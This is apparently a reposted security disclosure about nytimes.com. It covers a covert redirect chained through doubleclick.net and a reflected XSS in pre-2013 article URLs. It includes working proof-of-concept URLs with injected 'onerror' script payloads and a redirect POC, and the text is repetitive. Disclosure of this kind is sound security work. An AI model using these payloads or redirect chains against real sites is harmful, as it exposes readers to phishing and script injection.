The New York Times(Nytimes.com) Covert Redirect Web Security Bug Based on Google Doubleclick.net

New-York-Times-office

(1) WebSite:

nytimes.com



“The New York Times (NYT) is an American daily newspaper, founded and continuously published in New York City since September 18, 1851, by the New York Times Company. It has won 117 Pulitzer Prizes, more than any other news organization.

The paper’s print version has the largest circulation of any metropolitan newspaper in the United States, and the second-largest circulation overall, behind The Wall Street Journal. It is ranked 39th in the world by circulation. Following industry trends, its weekday circulation has fallen to fewer than one million daily since 1990. Nicknamed for years as “The Gray Lady”, The New York Times is long regarded within the industry as a national “newspaper of record”. It is owned by The New York Times Company. Arthur Ochs Sulzberger, Jr., (whose family (Ochs-Sulzberger) has controlled the paper for five generations, since 1896), is both the paper’s publisher and the company’s chairman. Its international version, formerly the International Herald Tribune, is now called the International New York Times.” (Wikipedia)

(2) Vulnerability Description:

The New York Times web application has a computer cyber security problem. Hacker can exploit it by Covert Redirect attacks.



The vulnerabilities can be attacked without user login. Tests were performed on Microsoft IE (10.0.9200.16750) of Windows 8, Mozilla Firefox (34.0) & Google Chromium 39.0.2171.65-0 ubuntu0.14.04.1.1064 (64-bit) of Ubuntu (14.04),Apple Safari 6.1.6 of Mac OS X Lion 10.7.

The programming code flaw occurs at “adx_click.html?” page with “&goto” parameter, i.e.

http://www.nytimes.com/adx/bin/adx_click.html?type=goto&opzn&page=www.nytimes.com/pages/nyregion/index.html&pos=SFMiddle&sn2=8dfce1f6/9926f9b3&sn1=bbba504f/c0de9221&camp=CouplesResorts_1918341&ad=NYRegionSF_Feb_300x250-B5732328.10663001&goto=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fddm%2Fclk%2F279541164%3B106630011%3Bs%3Fhttp%3A%2F%2Ffacebook%2Ecom%2Fall%2Dinclusive%2Ephp%3Futm%5Fsource%3Dnyt%26utm%5Fmedium%3Ddisplay%26utm%5Fcontent%3Dclicktracker%26utm%5Fcampaign%3D300x250%5FExpectMore%5FNYT%5FNYRegion

(2.1) When a user is redirected from Nytimes to another site, Nytimes will check parameters “&sn1″ and “&sn2″. If the redirected URL’s domain is OK, Nytimes will allow the reidrection.

However, if the URLs in a redirected domain have open URL redirection vulnerabilities themselves, a user could be redirected from Nytimes to a vulnerable URL in that domain first and later be redirected from this vulnerable site to a malicious site. This is as if being redirected from Nytimes directly.

One of the vulnerable domain is,
doubleclick.net (Google’s Ad website)

(2.2) Use one of webpages for the following tests. The webpage address is “http://xingti.tumblr.com”. We can suppose that this webpage is malicious.

Vulnerable URL:
http://www.nytimes.com/adx/bin/adx_click.html?type=goto&opzn&page=www.nytimes.com/pages/nyregion/index.html&pos=SFMiddle&sn2=8dfce1f6/9926f9b3&sn1=bbba504f/c0de9221&camp=CouplesResorts_1918341&ad=NYRegionSF_Feb_300x250-B5732328.10663001&goto=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fddm%2Fclk%2F279541164%3B106630011%3Bs%3Fhttp%3A%2F%2Ffacebook%2Ecom%2Fall%2Dinclusive%2Ephp%3Futm%5Fsource%3Dnyt%26utm%5Fmedium%3Ddisplay%26utm%5Fcontent%3Dclicktracker%26utm%5Fcampaign%3D300x250%5FExpectMore%5FNYT%5FNYRegion

POC:
http://www.nytimes.com/adx/bin/adx_click.html?type=goto&opzn&page=www.nytimes.com/pages/nyregion/index.html&pos=SFMiddle&sn2=8dfce1f6/9926f9b3&sn1=bbba504f/c0de9221&camp=CouplesResorts_1918341&ad=NYRegionSF_Feb_300x250-B5732328.10663001&goto=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fddm%2Fclk%2F279541164%3B106630011%3Bs%3Fhttp%3A%2F%2Ftetraph%2Ecom%2Fblog%3F%2Dinclusive%2Ephp%3Futm%5Fsource%3Dnyt%26utm%5Fmedium%3Ddisplay%26utm%5Fcontent%3Dclicktracker%26utm%5Fcampaign%3D300x250%5FExpectMore%5FNYT%5FNYRegion


Blog Detail:
http://tetraph.blogspot.com/2014/05/nytimes-covert-redirect-vulnerability.html



(3) What is Covert Redirect?

Covert Redirect is a class of security bugs disclosed in May 2014. It is an application that takes a parameter and redirects a user to the parameter value without sufficient validation. This often makes use of Open Redirect and XSS vulnerabilities in third-party applications.

Covert Redirect is also related to single sign-on. It is known by its influence on OAuth and OpenID. Hacker may use it to steal users’ sensitive information. Almost all OAuth 2.0 and OpenID providers worldwide are affected. Covert Redirect was found and dubbed by a Mathematics PhD student Wang Jing from School of Physical and Mathematical Sciences, Nanyang Technological University, Singapore.

After Covert Redirect was published, it is kept in some common databases such as SCIP, OSVDB, Bugtraq, and X-Force. Its scipID is 13185, while OSVDB reference number is 106567. Bugtraq ID: 67196. X-Force reference number is 93031.

Discover and Reporter:
Wang Jing, Division of Mathematical Sciences (MAS), School of Physical and Mathematical Sciences (SPMS), Nanyang Technological University (NTU), Singapore. (@justqdjing)
http://www.tetraph.com/wangjing

New York Times nytimes.com Page Design XSS Vulnerability (Almost all Article Pages Before 2013 are Affected)

 
 

binary_data_illustratio_450

 

Domain:
http://www.nytimes.com/

 

“The New York Times (NYT) is an American daily newspaper, founded and continuously published in New York City since September 18, 1851, by the New York Times Company. It has won 114 Pulitzer Prizes, more than any other news organization. The paper’s print version has the largest circulation of any metropolitan newspaper in the United States, and the second-largest circulation overall, behind The Wall Street Journal. It is ranked 39th in the world by circulation. Following industry trends, its weekday circulation has fallen to fewer than one million daily since 1990. Nicknamed for years as “The Gray Lady”, The New York Times is long regarded within the industry as a national “newspaper of record”. It is owned by The New York Times Company. Arthur Ochs Sulzberger, Jr., (whose family (Ochs-Sulzberger) has controlled the paper for five generations, since 1896), is both the paper’s publisher and the company’s chairman. Its international version, formerly the International Herald Tribune, is now called the International New York Times. The paper’s motto, “All the News That’s Fit to Print”, appears in the upper left-hand corner of the front page.” (Wikipedia)

 

 

 

(1) Vulnerability Description:

The New York Times has a computer cyber security problem. Hacker can exploit its users by XSS bugs.

 

The code program flaw occurs at New York Times’s URLs. Nytimes (short for New York Times) uses part of the URLs to construct its pages. However, it seems that Nytimes does not filter the content used for the construction at all before 2013.

 

Based on Nytimes’s Design, Almost all URLs before 2013 are affected (All pages of articles). In fact, all article pages that contain “PRINT” button, “SINGLE PAGE” button, “Page *” button, “NEXT PAGE” button are affected.

 

Nytimes changed this mechanism since 2013. It decodes the URLs sent to its server. This makes the mechanism much safer now.

 

However, all URLs before 2013 are still using the old mechanism. This means almost all article pages before 2013 are still vulnerable to XSS attacks. I guess the reason Nytimes does not filter URLs before is cost. It costs too much (money & human capital) to change the database of all posted articles before.

 

 

nytimes_2010_xss

 

nytimes_2011_xss

 

 

 

 

Living POCs Codes:

http://www.nytimes.com/2012/02/12/sunday-review/big-datas-impact-in-the-world.html//’ “><img src=x onerror=prompt(/justqdjing/)>

http://www.nytimes.com/2011/01/09/travel/09where-to-go.html//’ “><img src=x onerror=prompt(/justqdjing/)>?pagewanted=all&_r=0

http://www.nytimes.com/2010/12/07/opinion/07brooks.html//’ “><img src=x onerror=prompt(/justqdjing/)>

http://www.nytimes.com/2009/08/06/technology/06stats.html//’ “><img src=x onerror=prompt(/justqdjing/)>

http://www.nytimes.com/2008/07/09/dining/091crex.html//’ “><img src=x onerror=prompt(/justqdjing/)>

http://www.nytimes.com/2007/11/14/opinion/lweb14brain.html//’ “><img src=x onerror=prompt(/justqdjing/)>

 

 

 

(2) Vulnerability Analysis:
Take the following link as an example,
http://www.nytimes.com/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/“><vulnerabletoattack

 

It can see that for the page reflected, it contains the following codes. All of them are vulnerable.

 

<li class=”print”>

<a href=”/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/”><vulnerabletoattack?pagewanted=print”>Print</testtesttest?pagewanted=print”></a>

</li>

 

<li class=”singlePage”>

<a href=”/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/”><testtesttest?pagewanted=all”> Single Page</vulnerabletoattack?pagewanted=all”></a>

</li>

 

<li> <a onclick=”s_code_linktrack(‘Article-MultiPagePageNum2′);” title=”Page 2″ href=”/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/”><vulnerabletoattack?pagewanted=2″>2</testtesttest?pagewanted=2″></a>

</li>

 

<li> <a onclick=”s_code_linktrack(‘Article-MultiPagePageNum3′);” title=”Page 3″ href=”/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/”><vulnerabletoattack?pagewanted=3″>3</testtesttest?pagewanted=3″></a>

</li>

 

<a class=”next” onclick=”s_code_linktrack(‘Article-MultiPage-Next’);” title=”Next Page” href=”/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/”><vulnerabletoattack?pagewanted=2″>Next Page »</testtesttest?pagewanted=2″></a>

 

 

 

 

(3) What is XSS?

Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications. XSS enables attackers to inject client-side script into Web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same origin policy.

 

“Hackers are constantly experimenting with a wide repertoire of hacking techniques to compromise websites and web applications and make off with a treasure trove of sensitive data including credit card numbers, social security numbers and even medical records. Cross-site Scripting (also known as XSS or CSS) is generally believed to be one of the most common application layer hacking techniques Cross-site Scripting allows an attacker to embed malicious JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable dynamic page to fool the user, executing the script on his machine in order to gather data. The use of XSS might compromise private information, manipulate or steal cookies, create requests that can be mistaken for those of a valid user, or execute malicious code on the end-user systems. The data is usually formatted as a hyperlink containing malicious content and which is distributed over any possible means on the internet.” (Acunetix)

 

The vulnerability can be attacked without user login. Tests were performed on Firefox (34.0) in Ubuntu (14.04) and IE (9.0.15) in Windows 8.

 

 

 

Discover and Reporter:
Jing Wang, Division of Mathematical Sciences (MAS), School of Physical and Mathematical Sciences (SPMS), Nanyang Technological University (NTU), Singapore. (@justqdjing)

 

 

 

 

More Details:
http://lists.openwall.net/full-disclosure/2014/10/16/2
http://www.tetraph.com/blog/xss-vulnerability/new-york-times-xss
http://permalink.gmane.org/gmane.comp.security.fulldisclosure/1102
http://webcabinet.tumblr.com/post/121907302752/new-york-times-xss
http://www.inzeed.com/kaleidoscope/xss-vulnerability/new-york-times-xss
https://progressive-comp.com/?l=full-disclosure&m=141343993908563&w=1
http://webtech.lofter.com/post/1cd3e0d3_6f57c56
http://tetraph.blog.163.com/blog/static/2346030512014101270479/
https://vulnerabilitypost.wordpress.com/2014/11/01/new-york-times-xss
http://lifegrey.tumblr.com/post/121912534859/tous-les-liens-vers-les-articles
http://securityrelated.blogspot.com/2014/10/new-york-times-design.html
https://mathfas.wordpress.com/2014/11/01/new-york-times-xss
http://computerobsess.blogspot.com/2014/10/new-york-times-design.html
http://whitehatview.tumblr.com/post/103788276286/urls-to-articles-xss
http://diebiyi.com/articles/security/xss-vulnerability/new-york-times-xss

 

 

 

All Links to New York Times Articles Prior to 2013 Vulnerable to XSS Attacks

URLs to articles in New York Times (NYT) published before 2013 have been found to be vulnerable to an XSS (cross-site scripting) attack capable of delivering code to be executed in the context of the web browser.

 

Based on The New York TImes’ Design, Almost all URLs before 2013 are affected (All pages of articles). In fact, all article pages that contain “PRINT” button, “SINGLE PAGE” button, “Page *” button, “NEXT PAGE” button are affected.

 

The New York Times changed this mechanism since 2013. It decodes the URLs sent to its server. This makes the mechanism much safer now.

 

817464-computer-security

 

However, all URLs before 2013 are still using the old mechanism. This means almost all article pages before 2013 are still vulnerable to XSS attacks. I guess the reason Nytimes does not filter URLs before is cost. It costs too much (money & human capital) to change the database of all posted articles before.

 

The Vulnerability was found by a mathematics PhD student Wang Jing from School of Physical and Mathematical Sciences(SPMS), Nanyang Technological University, Singapore.

 

POC and Blog explanation given by Wang,

 

Meanwhile, Wang said that “The New York Times has adopted a new mechanism now. This is a better protection mechanism.”

 

 

Even if the articles are old, the pages are still relevant
An attack on more recent articles would definitely have had a significant impact, but articles from 2012 or even older are far from being obsolete. They would still be relevant in the context of an attack.

 

Cybercriminals can devise various ways to send the link to potential victims and record high success rates, all the more with targeted attacks.

 

 

What is XSS?
Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications. XSS enables attackers to inject client-side script into Web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same origin policy. Cross-site scripting carried out on websites accounted for roughly 84% of all security vulnerabilities documented by Symantec as of 2007. (Wikipedia)

 


 

 

http://diebiyi.com/articles/security/xss-vulnerability/all-links-to-new-york-times